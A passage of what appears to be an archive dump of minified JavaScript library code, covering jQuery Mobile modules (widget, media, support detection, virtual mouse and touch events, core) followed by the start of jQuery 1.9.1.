this._setOption("disabled",false)},disable:function(){return this._setOption("disabled",true)},_trigger:function(b,c,d){var e=this.options[b];c=a.Event(c);c.type=(b===this.widgetEventPrefix?b:this.widgetEventPrefix+b).toLowerCase();d=d||{};if(c.originalEvent){for(var f=a.event.props.length,g;f;){g=a.event.props[--f];c[g]=c.originalEvent[g]}}this.element.trigger(c,d);return!(a.isFunction(e)&&e.call(this.element[0],c,d)===false||c.isDefaultPrevented())}}})(jQuery)});define(["jquery","./jquery.ui.widget"],function(a){(function(a,b){a.widget("mobile.widget",{_createWidget:function(){a.Widget.prototype._createWidget.apply(this,arguments);this._trigger("init")},_getCreateOptions:function(){var c=this.element,d={};a.each(this.options,function(a){var e=c.jqmData(a.replace(/[A-Z]/g,function(a){return"-"+a.toLowerCase()}));if(e!==b){d[a]=e}});return d},enhanceWithin:function(b){var c=a.mobile.closestPageData(a(b)),d=c&&c.keepNativeSelector()||"";a(this.options.initSelector,b).not(d)[this.widgetName]()}})})(jQuery)});define(["jquery","./jquery.mobile.core"],function(a){(function(a,b){var c=a(window),d=a("html");a.mobile.media=function(){var b={},c=a("<div id='jquery-mediatest'>"),e=a("<body>").append(c);return function(a){if(!(a in b)){var f=document.createElement("style"),g="@media "+a+" { #jquery-mediatest { position:absolute; } }";f.type="text/css";if(f.styleSheet){f.styleSheet.cssText=g}else{f.appendChild(document.createTextNode(g))}d.prepend(e).prepend(f);b[a]=c.css("position")==="absolute";e.add(f).remove()}return b[a]}}()})(jQuery)});define(["jquery","./jquery.mobile.media"],function(a){(function(a,b){function m(){var b=location.protocol+"//"+location.host+location.pathname+"ui-dir/",d=a("head base"),e=null,f="",g,h;if(!d.length){d=e=a("<base>",{href:b}).appendTo("head")}else{f=d.attr("href")}g=a("<a href='testurl' />").prependTo(c);h=g[0].href;d[0].href=f||location.pathname;if(e){e.remove()}return h.indexOf(b)===0}function l(){var b="transform-3d";return k("perspective","10px","moz")||a.mobile.media("(-"+e.join("-"+b+"),(-")+"-"+b+"),("+b+")")}function k(a,b,c){var d=document.createElement("div"),f=function(a){return a.charAt(0).toUpperCase()+a.substr(1)},g=function(a){return"-"+a.charAt(0).toLowerCase()+a.substr(1)+"-"},h=function(c){var e=g(c)+a+": "+b+";",h=f(c),i=h+f(a);d.setAttribute("style",e);if(!!d.style[i]){k=true}},j=c?[c]:e,k;for(i=0;i<j.length;i++){h(j[i])}return!!k}function j(a){var c=a.charAt(0).toUpperCase()+a.substr(1),f=(a+" "+e.join(c+" ")+c).split(" ");for(var g in f){if(d[f[g]]!==b){return true}}}var c=a("<body>").prependTo("html"),d=c[0].style,e=["Webkit","Moz","O"],f="palmGetResource"in window,g=window.operamini&&{}.toString.call(window.operamini)==="[object OperaMini]",h=window.blackberry;a.extend(a.mobile,{browser:{}});a.mobile.browser.ie=function(){var a=3,b=document.createElement("div"),c=b.all||[];while(b.innerHTML="<!--[if gt IE "+ ++a+"]><br><![endif]-->",c[0]){}return a>4?a:!a}();a.extend(a.support,{orientation:"orientation"in window&&"onorientationchange"in window,touch:"ontouchend"in document,cssTransitions:"WebKitTransitionEvent"in window||k("transition","height 100ms linear"),pushState:"pushState"in history&&"replaceState"in history,mediaquery:a.mobile.media("only all"),cssPseudoElement:!!j("content"),touchOverflow:!!j("overflowScrolling"),cssTransform3d:l(),boxShadow:!!j("boxShadow")&&!h,scrollTop:("pageXOffset"in window||"scrollTop"in document.documentElement||"scrollTop"in c[0])&&!f&&!g,dynamicBaseTag:m()});c.remove();var n=function(){var a=window.navigator.userAgent;return a.indexOf("Nokia")>-1&&(a.indexOf("Symbian/3")>-1||a.indexOf("Series60/5")>-1)&&a.indexOf("AppleWebKit")>-1&&a.match(/(BrowserNG|NokiaBrowser)\/7\.[0-3]/)}();a.mobile.ajaxBlacklist=window.blackberry&&!window.WebKitPoint||g||n;if(n){a(function(){a("head link[rel='stylesheet']").attr("rel","alternate stylesheet").attr("rel","stylesheet")})}if(!a.support.boxShadow){a("html").addClass("ui-mobile-nosupport-boxshadow")}})(jQuery)});define(["jquery"],function(a){(function(a,b,c,d){function O(b){var c=b.substr(1);return{setup:function(d,f){if(!M(this)){a.data(this,e,{})}var g=a.data(this,e);g[b]=true;k[b]=(k[b]||0)+1;if(k[b]===1){t.bind(c,H)}a(this).bind(c,N);if(s){k["touchstart"]=(k["touchstart"]||0)+1;if(k["touchstart"]===1){t.bind("touchstart",I).bind("touchend",L).bind("touchmove",K).bind("scroll",J)}}},teardown:function(d,f){--k[b];if(!k[b]){t.unbind(c,H)}if(s){--k["touchstart"];if(!k["touchstart"]){t.unbind("touchstart",I).unbind("touchmove",K).unbind("touchend",L).unbind("scroll",J)}}var g=a(this),h=a.data(this,e);if(h){h[b]=false}g.unbind(c,N);if(!M(this)){g.removeData(e)}}}}function N(){}function M(b){var c=a.data(b,e),d;if(c){for(d in c){if(c[d]){return true}}}return false}function L(a){if(r){return}B();var b=y(a.target),c;G("vmouseup",a,b);if(!o){var d=G("vclick",a,b);if(d&&d.isDefaultPrevented()){c=w(a).changedTouches[0];p.push({touchID:v,x:c.clientX,y:c.clientY});q=true}}G("vmouseout",a,b);o=false;E()}function K(b){if(r){return}var c=w(b).touches[0],d=o,e=a.vmouse.moveDistanceThreshold;o=o||Math.abs(c.pageX-m)>e||Math.abs(c.pageY-n)>e,flags=y(b.target);if(o&&!d){G("vmousecancel",b,flags)}G("vmousemove",b,flags);E()}function J(a){if(r){return}if(!o){G("vmousecancel",a,y(a.target))}o=true;E()}function I(b){var c=w(b).touches,d,e;if(c&&c.length===1){d=b.target;e=y(d);if(e.hasVirtualBinding){v=u++;a.data(d,f,v);F();D();o=false;var g=w(b).touches[0];m=g.pageX;n=g.pageY;G("vmouseover",b,e);G("vmousedown",b,e)}}}function H(b){var c=a.data(b.target,f);if(!q&&(!v||v!==c)){var d=G("v"+b.type,b);if(d){if(d.isDefaultPrevented()){b.preventDefault()}if(d.isPropagationStopped()){b.stopPropagation()}if(d.isImmediatePropagationStopped()){b.stopImmediatePropagation()}}}}function G(b,c,d){var e;if(d&&d[b]||!d&&z(c.target,b)){e=x(c,b);a(c.target).trigger(e)}return e}function F(){if(l){clearTimeout(l);l=0}}function E(){F();l=setTimeout(function(){l=0;C()},a.vmouse.resetTimerDuration)}function D(){A()}function C(){v=0;p.length=0;q=false;B()}function B(){r=true}function A(){r=false}function z(b,c){var d;while(b){d=a.data(b,e);if(d&&(!c||d[c])){return b}b=b.parentNode}return null}function y(b){var c={},d,f;while(b){d=a.data(b,e);for(f in d){if(d[f]){c[f]=c.hasVirtualBinding=true}}b=b.parentNode}return c}function x(b,c){var e=b.type,f,g,i,k,l,m,n,o;b=a.Event(b);b.type=c;f=b.originalEvent;g=a.event.props;if(e.search(/mouse/)>-1){g=j}if(f){for(n=g.length,k;n;){k=g[--n];b[k]=f[k]}}if(e.search(/mouse(down|up)|click/)>-1&&!b.which){b.which=1}if(e.search(/^touch/)!==-1){i=w(f);e=i.touches;l=i.changedTouches;m=e&&e.length?e[0]:l&&l.length?l[0]:d;if(m){for(o=0,len=h.length;o<len;o++){k=h[o];b[k]=m[k]}}}return b}function w(a){while(a&&typeof a.originalEvent!=="undefined"){a=a.originalEvent}return a}var e="virtualMouseBindings",f="virtualTouchID",g="vmouseover vmousedown vmousemove vmouseup vclick vmouseout vmousecancel".split(" "),h="clientX clientY pageX pageY screenX screenY".split(" "),i=a.event.mouseHooks?a.event.mouseHooks.props:[],j=a.event.props.concat(i),k={},l=0,m=0,n=0,o=false,p=[],q=false,r=false,s="addEventListener"in c,t=a(c),u=1,v=0;a.vmouse={moveDistanceThreshold:10,clickDistanceThreshold:10,resetTimerDuration:1500};for(var P=0;P<g.length;P++){a.event.special[g[P]]=O(g[P])}if(s){c.addEventListener("click",function(b){var c=p.length,d=b.target,e,g,h,i,j,k;if(c){e=b.clientX;g=b.clientY;threshold=a.vmouse.clickDistanceThreshold;h=d;while(h){for(i=0;i<c;i++){j=p[i];k=0;if(h===d&&Math.abs(j.x-e)<threshold&&Math.abs(j.y-g)<threshold||a.data(h,f)===j.touchID){b.preventDefault();b.stopPropagation();return}}h=h.parentNode}}},true)}})(jQuery,window,document)});define(["jquery","./jquery.mobile.core","./jquery.mobile.media","./jquery.mobile.support","./jquery.mobile.vmouse"],function(a){(function(a,b,c){function i(b,c,d){var e=d.type;d.type=c;a.event.handle.call(b,d);d.type=e}a.each(("touchstart touchmove touchend orientationchange throttledresize "+"tap taphold swipe swipeleft swiperight scrollstart scrollstop").split(" "),function(b,c){a.fn[c]=function(a){return a?this.bind(c,a):this.trigger(c)};a.attrFn[c]=true});var d=a.support.touch,e="touchmove scroll",f=d?"touchstart":"mousedown",g=d?"touchend":"mouseup",h=d?"touchmove":"mousemove";a.event.special.scrollstart={enabled:true,setup:function(){function g(a,c){d=c;i(b,d?"scrollstart":"scrollstop",a)}var b=this,c=a(b),d,f;c.bind(e,function(b){if(!a.event.special.scrollstart.enabled){return}if(!d){g(b,true)}clearTimeout(f);f=setTimeout(function(){g(b,false)},50)})}};a.event.special.tap={setup:function(){var b=this,c=a(b);c.bind("vmousedown",function(d){function k(a){j();if(e==a.target){i(b,"tap",a)}}function j(){h();c.unbind("vclick",k).unbind("vmouseup",h);a(document).unbind("vmousecancel",j)}function h(){clearTimeout(g)}if(d.which&&d.which!==1){return false}var e=d.target,f=d.originalEvent,g;c.bind("vmouseup",h).bind("vclick",k);a(document).bind("vmousecancel",j);g=setTimeout(function(){i(b,"taphold",a.Event("taphold"))},750)})}};a.event.special.swipe={scrollSupressionThreshold:10,durationThreshold:1e3,horizontalDistanceThreshold:30,verticalDistanceThreshold:75,setup:function(){var b=this,d=a(b);d.bind(f,function(b){function j(b){if(!f){return}var c=b.originalEvent.touches?b.originalEvent.touches[0]:b;i={time:(new Date).getTime(),coords:[c.pageX,c.pageY]};if(Math.abs(f.coords[0]-i.coords[0])>a.event.special.swipe.scrollSupressionThreshold){b.preventDefault()}}var e=b.originalEvent.touches?b.originalEvent.touches[0]:b,f={time:(new Date).getTime(),coords:[e.pageX,e.pageY],origin:a(b.target)},i;d.bind(h,j).one(g,function(b){d.unbind(h,j);if(f&&i){if(i.time-f.time<a.event.special.swipe.durationThreshold&&Math.abs(f.coords[0]-i.coords[0])>a.event.special.swipe.horizontalDistanceThreshold&&Math.abs(f.coords[1]-i.coords[1])<a.event.special.swipe.verticalDistanceThreshold){f.origin.trigger("swipe").trigger(f.coords[0]>i.coords[0]?"swipeleft":"swiperight")}}f=i=c})})}};(function(a,b){function j(){var a=e();if(a!==f){f=a;c.trigger("orientationchange")}}var c=a(b),d,e,f,g,h,i={0:true,180:true};if(a.support.orientation){g=a.mobile.media("all and (orientation: landscape)");h=i[b.orientation];if(g&&h||!g&&!h){i={"-90":true,90:true}}}a.event.special.orientationchange=d={setup:function(){if(a.support.orientation&&a.mobile.orientationChangeEnabled){return false}f=e();c.bind("throttledresize",j)},teardown:function(){if(a.support.orientation&&a.mobile.orientationChangeEnabled){return false}c.unbind("throttledresize",j)},add:function(a){var b=a.handler;a.handler=function(a){a.orientation=e();return b.apply(this,arguments)}}};a.event.special.orientationchange.orientation=e=function(){var c=true,d=document.documentElement;if(a.support.orientation){c=i[b.orientation]}else{c=d&&d.clientWidth/d.clientHeight<1.1}return c?"portrait":"landscape"}})(jQuery,b);(function(){a.event.special.throttledresize={setup:function(){a(this).bind("resize",c)},teardown:function(){a(this).unbind("resize",c)}};var b=250,c=function(){f=(new Date).getTime();g=f-d;if(g>=b){d=f;a(this).trigger("throttledresize")}else{if(e){clearTimeout(e)}e=setTimeout(c,b-g)}},d=0,e,f,g})();a.each({scrollstop:"scrollstart",taphold:"tap",swipeleft:"swipe",swiperight:"swipe"},function(b,c){a.event.special[b]={setup:function(){a(this).bind(c,a.noop)}}})})(jQuery,this)});define(["jquery","../external/requirejs/text!../version.txt","./jquery.mobile.widget"],function(a,b){(function(a,c,d){var e={};a.mobile=a.extend({},{version:b,ns:"",subPageUrlKey:"ui-page",activePageClass:"ui-page-active",activeBtnClass:"ui-btn-active",focusClass:"ui-focus",ajaxEnabled:true,hashListeningEnabled:true,linkBindingEnabled:true,defaultPageTransition:"fade",maxTransitionWidth:false,minScrollBack:10,touchOverflowEnabled:false,defaultDialogTransition:"pop",loadingMessage:"loading",pageLoadErrorMessage:"Error Loading Page",loadingMessageTextVisible:false,loadingMessageTheme:"a",pageLoadErrorMessageTheme:"e",autoInitializePage:true,pushStateEnabled:true,orientationChangeEnabled:true,gradeA:function(){return a.support.mediaquery||a.mobile.browser.ie&&a.mobile.browser.ie>=7},keyCode:{ALT:18,BACKSPACE:8,CAPS_LOCK:20,COMMA:188,COMMAND:91,COMMAND_LEFT:91,COMMAND_RIGHT:93,CONTROL:17,DELETE:46,DOWN:40,END:35,ENTER:13,ESCAPE:27,HOME:36,INSERT:45,LEFT:37,MENU:93,NUMPAD_ADD:107,NUMPAD_DECIMAL:110,NUMPAD_DIVIDE:111,NUMPAD_ENTER:108,NUMPAD_MULTIPLY:106,NUMPAD_SUBTRACT:109,PAGE_DOWN:34,PAGE_UP:33,PERIOD:190,RIGHT:39,SHIFT:16,SPACE:32,TAB:9,UP:38,WINDOWS:91},silentScroll:function(b){if(a.type(b)!=="number"){b=a.mobile.defaultHomeScroll}a.event.special.scrollstart.enabled=false;setTimeout(function(){c.scrollTo(0,b);a(document).trigger("silentscroll",{x:0,y:b})},20);setTimeout(function(){a.event.special.scrollstart.enabled=true},150)},nsNormalizeDict:e,nsNormalize:function(b){if(!b){return}return e[b]||(e[b]=a.camelCase(a.mobile.ns+b))},getInheritedTheme:function(a,b){var c=a[0],d="",e=/ui-(bar|body)-([a-z])\b/,f,g;while(c){var f=c.className||"";if((g=e.exec(f))&&(d=g[2])){break}c=c.parentNode}return d||b||"a"},closestPageData:function(a){return a.closest(':jqmData(role="page"), :jqmData(role="dialog")').data("page")}},a.mobile);a.fn.jqmData=function(b,c){var d;if(typeof b!="undefined"){d=this.data(b?a.mobile.nsNormalize(b):b,c)}return d};a.jqmData=function(b,c,d){var e;if(typeof c!="undefined"){e=a.data(b,c?a.mobile.nsNormalize(c):c,d)}return e};a.fn.jqmRemoveData=function(b){return this.removeData(a.mobile.nsNormalize(b))};a.jqmRemoveData=function(b,c){return a.removeData(b,a.mobile.nsNormalize(c))};a.fn.removeWithDependents=function(){a.removeWithDependents(this)};a.removeWithDependents=function(b){var c=a(b);(c.jqmData("dependents")||a()).remove();c.remove()};a.fn.addDependents=function(b){a.addDependents(a(this),b)};a.addDependents=function(b,c){var d=a(b).jqmData("dependents")||a();a(b).jqmData("dependents",a.merge(d,c))};a.fn.getEncodedText=function(){return a("<div/>").text(a(this).text()).html()};var f=a.find,g=/:jqmData\(([^)]*)\)/g;a.find=function(b,c,d,e){b=b.replace(g,"[data-"+(a.mobile.ns||"")+"$1]");return f.call(this,b,c,d,e)};a.extend(a.find,f);a.find.matches=function(b,c){return a.find(b,null,null,c)};a.find.matchesSelector=function(b,c){return a.find(c,null,null,[b]).length>0}})(jQuery,this)})assets/js/jquery.1.9.1.min.js000060400000264733151652224050011603 0ustar00/*! jQuery v1.9.1 | (c) 2005, 2012 jQuery Foundation, Inc. | jquery.org/license //@ sourceMappingURL=jquery.min.map */(function(e,t){var n,r,i=typeof t,o=e.document,a=e.location,s=e.jQuery,u=e.$,l={},c=[],p="1.9.1",f=c.concat,d=c.push,h=c.slice,g=c.indexOf,m=l.toString,y=l.hasOwnProperty,v=p.trim,b=function(e,t){return new b.fn.init(e,t,r)},x=/[+-]?(?:\d*\.|)\d+(?:[eE][+-]?\d+|)/.source,w=/\S+/g,T=/^[\s\uFEFF\xA0]+|[\s\uFEFF\xA0]+$/g,N=/^(?:(<[\w\W]+>)[^>]*|#([\w-]*))$/,C=/^<(\w+)\s*\/?>(?:<\/\1>|)$/,k=/^[\],:{}\s]*$/,E=/(?:^|:|,)(?:\s*\[)+/g,S=/\\(?:["\\\/bfnrt]|u[\da-fA-F]{4})/g,A=/"[^"\\\r\n]*"|true|false|null|-?(?:\d+\.|)\d+(?:[eE][+-]?\d+|)/g,j=/^-ms-/,D=/-([\da-z])/gi,L=function(e,t){return t.toUpperCase()},H=function(e){(o.addEventListener||"load"===e.type||"complete"===o.readyState)&&(q(),b.ready())},q=function(){o.addEventListener?(o.removeEventListener("DOMContentLoaded",H,!1),e.removeEventListener("load",H,!1)):(o.detachEvent("onreadystatechange",H),e.detachEvent("onload",H))};b.fn=b.prototype={jquery:p,constructor:b,init:function(e,n,r){var i,a;if(!e)return this;if("string"==typeof e){if(i="<"===e.charAt(0)&&">"===e.charAt(e.length-1)&&e.length>=3?[null,e,null]:N.exec(e),!i||!i[1]&&n)return!n||n.jquery?(n||r).find(e):this.constructor(n).find(e);if(i[1]){if(n=n instanceof b?n[0]:n,b.merge(this,b.parseHTML(i[1],n&&n.nodeType?n.ownerDocument||n:o,!0)),C.test(i[1])&&b.isPlainObject(n))for(i in n)b.isFunction(this[i])?this[i](n[i]):this.attr(i,n[i]);return this}if(a=o.getElementById(i[2]),a&&a.parentNode){if(a.id!==i[2])return r.find(e);this.length=1,this[0]=a}return this.context=o,this.selector=e,this}return e.nodeType?(this.context=this[0]=e,this.length=1,this):b.isFunction(e)?r.ready(e):(e.selector!==t&&(this.selector=e.selector,this.context=e.context),b.makeArray(e,this))},selector:"",length:0,size:function(){return this.length},toArray:function(){return h.call(this)},get:function(e){return null==e?this.toArray():0>e?this[this.length+e]:this[e]},pushStack:function(e){var t=b.merge(this.constructor(),e);return t.prevObject=this,t.context=this.context,t},each:function(e,t){return b.each(this,e,t)},ready:function(e){return b.ready.promise().done(e),this},slice:function(){return this.pushStack(h.apply(this,arguments))},first:function(){return this.eq(0)},last:function(){return this.eq(-1)},eq:function(e){var t=this.length,n=+e+(0>e?t:0);return this.pushStack(n>=0&&t>n?[this[n]]:[])},map:function(e){return this.pushStack(b.map(this,function(t,n){return e.call(t,n,t)}))},end:function(){return this.prevObject||this.constructor(null)},push:d,sort:[].sort,splice:[].splice},b.fn.init.prototype=b.fn,b.extend=b.fn.extend=function(){var e,n,r,i,o,a,s=arguments[0]||{},u=1,l=arguments.length,c=!1;for("boolean"==typeof s&&(c=s,s=arguments[1]||{},u=2),"object"==typeof s||b.isFunction(s)||(s={}),l===u&&(s=this,--u);l>u;u++)if(null!=(o=arguments[u]))for(i in o)e=s[i],r=o[i],s!==r&&(c&&r&&(b.isPlainObject(r)||(n=b.isArray(r)))?(n?(n=!1,a=e&&b.isArray(e)?e:[]):a=e&&b.isPlainObject(e)?e:{},s[i]=b.extend(c,a,r)):r!==t&&(s[i]=r));return s},b.extend({noConflict:function(t){return e.$===b&&(e.$=u),t&&e.jQuery===b&&(e.jQuery=s),b},isReady:!1,readyWait:1,holdReady:function(e){e?b.readyWait++:b.ready(!0)},ready:function(e){if(e===!0?!--b.readyWait:!b.isReady){if(!o.body)return setTimeout(b.ready);b.isReady=!0,e!==!0&&--b.readyWait>0||(n.resolveWith(o,[b]),b.fn.trigger&&b(o).trigger("ready").off("ready"))}},isFunction:function(e){return"function"===b.type(e)},isArray:Array.isArray||function(e){return"array"===b.type(e)},isWindow:function(e){return null!=e&&e==e.window},isNumeric:function(e){return!isNaN(parseFloat(e))&&isFinite(e)},type:function(e){return null==e?e+"":"object"==typeof e||"function"==typeof e?l[m.call(e)]||"object":typeof e},isPlainObject:function(e){if(!e||"object"!==b.type(e)||e.nodeType||b.isWindow(e))return!1;try{if(e.constructor&&!y.call(e,"constructor")&&!y.call(e.constructor.prototype,"isPrototypeOf"))return!1}catch(n){return!1}var r;for(r in e);return r===t||y.call(e,r)},isEmptyObject:function(e){var t;for(t in e)return!1;return!0},error:function(e){throw Error(e)},parseHTML:function(e,t,n){if(!e||"string"!=typeof e)return null;"boolean"==typeof t&&(n=t,t=!1),t=t||o;var r=C.exec(e),i=!n&&[];return r?[t.createElement(r[1])]:(r=b.buildFragment([e],t,i),i&&b(i).remove(),b.merge([],r.childNodes))},parseJSON:function(n){return e.JSON&&e.JSON.parse?e.JSON.parse(n):null===n?n:"string"==typeof n&&(n=b.trim(n),n&&k.test(n.replace(S,"@").replace(A,"]").replace(E,"")))?Function("return "+n)():(b.error("Invalid JSON: "+n),t)},parseXML:function(n){var r,i;if(!n||"string"!=typeof n)return null;try{e.DOMParser?(i=new DOMParser,r=i.parseFromString(n,"text/xml")):(r=new ActiveXObject("Microsoft.XMLDOM"),r.async="false",r.loadXML(n))}catch(o){r=t}return r&&r.documentElement&&!r.getElementsByTagName("parsererror").length||b.error("Invalid XML: "+n),r},noop:function(){},globalEval:function(t){t&&b.trim(t)&&(e.execScript||function(t){e.eval.call(e,t)})(t)},camelCase:function(e){return e.replace(j,"ms-").replace(D,L)},nodeName:function(e,t){return e.nodeName&&e.nodeName.toLowerCase()===t.toLowerCase()},each:function(e,t,n){var r,i=0,o=e.length,a=M(e);if(n){if(a){for(;o>i;i++)if(r=t.apply(e[i],n),r===!1)break}else for(i in e)if(r=t.apply(e[i],n),r===!1)break}else if(a){for(;o>i;i++)if(r=t.call(e[i],i,e[i]),r===!1)break}else for(i in e)if(r=t.call(e[i],i,e[i]),r===!1)break;return e},trim:v&&!v.call("\ufeff\u00a0")?function(e){return null==e?"":v.call(e)}:function(e){return null==e?"":(e+"").replace(T,"")},makeArray:function(e,t){var n=t||[];return null!=e&&(M(Object(e))?b.merge(n,"string"==typeof e?[e]:e):d.call(n,e)),n},inArray:function(e,t,n){var r;if(t){if(g)return g.call(t,e,n);for(r=t.length,n=n?0>n?Math.max(0,r+n):n:0;r>n;n++)if(n in t&&t[n]===e)return n}return-1},merge:function(e,n){var r=n.length,i=e.length,o=0;if("number"==typeof r)for(;r>o;o++)e[i++]=n[o];else while(n[o]!==t)e[i++]=n[o++];return e.length=i,e},grep:function(e,t,n){var r,i=[],o=0,a=e.length;for(n=!!n;a>o;o++)r=!!t(e[o],o),n!==r&&i.push(e[o]);return i},map:function(e,t,n){var r,i=0,o=e.length,a=M(e),s=[];if(a)for(;o>i;i++)r=t(e[i],i,n),null!=r&&(s[s.length]=r);else for(i in e)r=t(e[i],i,n),null!=r&&(s[s.length]=r);return f.apply([],s)},guid:1,proxy:function(e,n){var r,i,o;return"string"==typeof n&&(o=e[n],n=e,e=o),b.isFunction(e)?(r=h.call(arguments,2),i=function(){return e.apply(n||this,r.concat(h.call(arguments)))},i.guid=e.guid=e.guid||b.guid++,i):t},access:function(e,n,r,i,o,a,s){var u=0,l=e.length,c=null==r;if("object"===b.type(r)){o=!0;for(u in r)b.access(e,n,u,r[u],!0,a,s)}else if(i!==t&&(o=!0,b.isFunction(i)||(s=!0),c&&(s?(n.call(e,i),n=null):(c=n,n=function(e,t,n){return c.call(b(e),n)})),n))for(;l>u;u++)n(e[u],r,s?i:i.call(e[u],u,n(e[u],r)));return o?e:c?n.call(e):l?n(e[0],r):a},now:function(){return(new Date).getTime()}}),b.ready.promise=function(t){if(!n)if(n=b.Deferred(),"complete"===o.readyState)setTimeout(b.ready);else if(o.addEventListener)o.addEventListener("DOMContentLoaded",H,!1),e.addEventListener("load",H,!1);else{o.attachEvent("onreadystatechange",H),e.attachEvent("onload",H);var r=!1;try{r=null==e.frameElement&&o.documentElement}catch(i){}r&&r.doScroll&&function a(){if(!b.isReady){try{r.doScroll("left")}catch(e){return setTimeout(a,50)}q(),b.ready()}}()}return n.promise(t)},b.each("Boolean Number String Function Array Date RegExp Object Error".split(" "),function(e,t){l["[object "+t+"]"]=t.toLowerCase()});function M(e){var t=e.length,n=b.type(e);return b.isWindow(e)?!1:1===e.nodeType&&t?!0:"array"===n||"function"!==n&&(0===t||"number"==typeof t&&t>0&&t-1 in e)}r=b(o);var _={};function F(e){var t=_[e]={};return b.each(e.match(w)||[],function(e,n){t[n]=!0}),t}b.Callbacks=function(e){e="string"==typeof e?_[e]||F(e):b.extend({},e);var n,r,i,o,a,s,u=[],l=!e.once&&[],c=function(t){for(r=e.memory&&t,i=!0,a=s||0,s=0,o=u.length,n=!0;u&&o>a;a++)if(u[a].apply(t[0],t[1])===!1&&e.stopOnFalse){r=!1;break}n=!1,u&&(l?l.length&&c(l.shift()):r?u=[]:p.disable())},p={add:function(){if(u){var t=u.length;(function i(t){b.each(t,function(t,n){var r=b.type(n);"function"===r?e.unique&&p.has(n)||u.push(n):n&&n.length&&"string"!==r&&i(n)})})(arguments),n?o=u.length:r&&(s=t,c(r))}return this},remove:function(){return u&&b.each(arguments,function(e,t){var r;while((r=b.inArray(t,u,r))>-1)u.splice(r,1),n&&(o>=r&&o--,a>=r&&a--)}),this},has:function(e){return e?b.inArray(e,u)>-1:!(!u||!u.length)},empty:function(){return u=[],this},disable:function(){return u=l=r=t,this},disabled:function(){return!u},lock:function(){return l=t,r||p.disable(),this},locked:function(){return!l},fireWith:function(e,t){return t=t||[],t=[e,t.slice?t.slice():t],!u||i&&!l||(n?l.push(t):c(t)),this},fire:function(){return p.fireWith(this,arguments),this},fired:function(){return!!i}};return p},b.extend({Deferred:function(e){var t=[["resolve","done",b.Callbacks("once memory"),"resolved"],["reject","fail",b.Callbacks("once memory"),"rejected"],["notify","progress",b.Callbacks("memory")]],n="pending",r={state:function(){return n},always:function(){return i.done(arguments).fail(arguments),this},then:function(){var e=arguments;return b.Deferred(function(n){b.each(t,function(t,o){var a=o[0],s=b.isFunction(e[t])&&e[t];i[o[1]](function(){var e=s&&s.apply(this,arguments);e&&b.isFunction(e.promise)?e.promise().done(n.resolve).fail(n.reject).progress(n.notify):n[a+"With"](this===r?n.promise():this,s?[e]:arguments)})}),e=null}).promise()},promise:function(e){return null!=e?b.extend(e,r):r}},i={};return r.pipe=r.then,b.each(t,function(e,o){var a=o[2],s=o[3];r[o[1]]=a.add,s&&a.add(function(){n=s},t[1^e][2].disable,t[2][2].lock),i[o[0]]=function(){return i[o[0]+"With"](this===i?r:this,arguments),this},i[o[0]+"With"]=a.fireWith}),r.promise(i),e&&e.call(i,i),i},when:function(e){var t=0,n=h.call(arguments),r=n.length,i=1!==r||e&&b.isFunction(e.promise)?r:0,o=1===i?e:b.Deferred(),a=function(e,t,n){return function(r){t[e]=this,n[e]=arguments.length>1?h.call(arguments):r,n===s?o.notifyWith(t,n):--i||o.resolveWith(t,n)}},s,u,l;if(r>1)for(s=Array(r),u=Array(r),l=Array(r);r>t;t++)n[t]&&b.isFunction(n[t].promise)?n[t].promise().done(a(t,l,n)).fail(o.reject).progress(a(t,u,s)):--i;return i||o.resolveWith(l,n),o.promise()}}),b.support=function(){var t,n,r,a,s,u,l,c,p,f,d=o.createElement("div");if(d.setAttribute("className","t"),d.innerHTML=" <link/><table></table><a href='/a'>a</a><input type='checkbox'/>",n=d.getElementsByTagName("*"),r=d.getElementsByTagName("a")[0],!n||!r||!n.length)return{};s=o.createElement("select"),l=s.appendChild(o.createElement("option")),a=d.getElementsByTagName("input")[0],r.style.cssText="top:1px;float:left;opacity:.5",t={getSetAttribute:"t"!==d.className,leadingWhitespace:3===d.firstChild.nodeType,tbody:!d.getElementsByTagName("tbody").length,htmlSerialize:!!d.getElementsByTagName("link").length,style:/top/.test(r.getAttribute("style")),hrefNormalized:"/a"===r.getAttribute("href"),opacity:/^0.5/.test(r.style.opacity),cssFloat:!!r.style.cssFloat,checkOn:!!a.value,optSelected:l.selected,enctype:!!o.createElement("form").enctype,html5Clone:"<:nav></:nav>"!==o.createElement("nav").cloneNode(!0).outerHTML,boxModel:"CSS1Compat"===o.compatMode,deleteExpando:!0,noCloneEvent:!0,inlineBlockNeedsLayout:!1,shrinkWrapBlocks:!1,reliableMarginRight:!0,boxSizingReliable:!0,pixelPosition:!1},a.checked=!0,t.noCloneChecked=a.cloneNode(!0).checked,s.disabled=!0,t.optDisabled=!l.disabled;try{delete d.test}catch(h){t.deleteExpando=!1}a=o.createElement("input"),a.setAttribute("value",""),t.input=""===a.getAttribute("value"),a.value="t",a.setAttribute("type","radio"),t.radioValue="t"===a.value,a.setAttribute("checked","t"),a.setAttribute("name","t"),u=o.createDocumentFragment(),u.appendChild(a),t.appendChecked=a.checked,t.checkClone=u.cloneNode(!0).cloneNode(!0).lastChild.checked,d.attachEvent&&(d.attachEvent("onclick",function(){t.noCloneEvent=!1}),d.cloneNode(!0).click());for(f in{submit:!0,change:!0,focusin:!0})d.setAttribute(c="on"+f,"t"),t[f+"Bubbles"]=c in e||d.attributes[c].expando===!1;return d.style.backgroundClip="content-box",d.cloneNode(!0).style.backgroundClip="",t.clearCloneStyle="content-box"===d.style.backgroundClip,b(function(){var n,r,a,s="padding:0;margin:0;border:0;display:block;box-sizing:content-box;-moz-box-sizing:content-box;-webkit-box-sizing:content-box;",u=o.getElementsByTagName("body")[0];u&&(n=o.createElement("div"),n.style.cssText="border:0;width:0;height:0;position:absolute;top:0;left:-9999px;margin-top:1px",u.appendChild(n).appendChild(d),d.innerHTML="<table><tr><td></td><td>t</td></tr></table>",a=d.getElementsByTagName("td"),a[0].style.cssText="padding:0;margin:0;border:0;display:none",p=0===a[0].offsetHeight,a[0].style.display="",a[1].style.display="none",t.reliableHiddenOffsets=p&&0===a[0].offsetHeight,d.innerHTML="",d.style.cssText="box-sizing:border-box;-moz-box-sizing:border-box;-webkit-box-sizing:border-box;padding:1px;border:1px;display:block;width:4px;margin-top:1%;position:absolute;top:1%;",t.boxSizing=4===d.offsetWidth,t.doesNotIncludeMarginInBodyOffset=1!==u.offsetTop,e.getComputedStyle&&(t.pixelPosition="1%"!==(e.getComputedStyle(d,null)||{}).top,t.boxSizingReliable="4px"===(e.getComputedStyle(d,null)||{width:"4px"}).width,r=d.appendChild(o.createElement("div")),r.style.cssText=d.style.cssText=s,r.style.marginRight=r.style.width="0",d.sty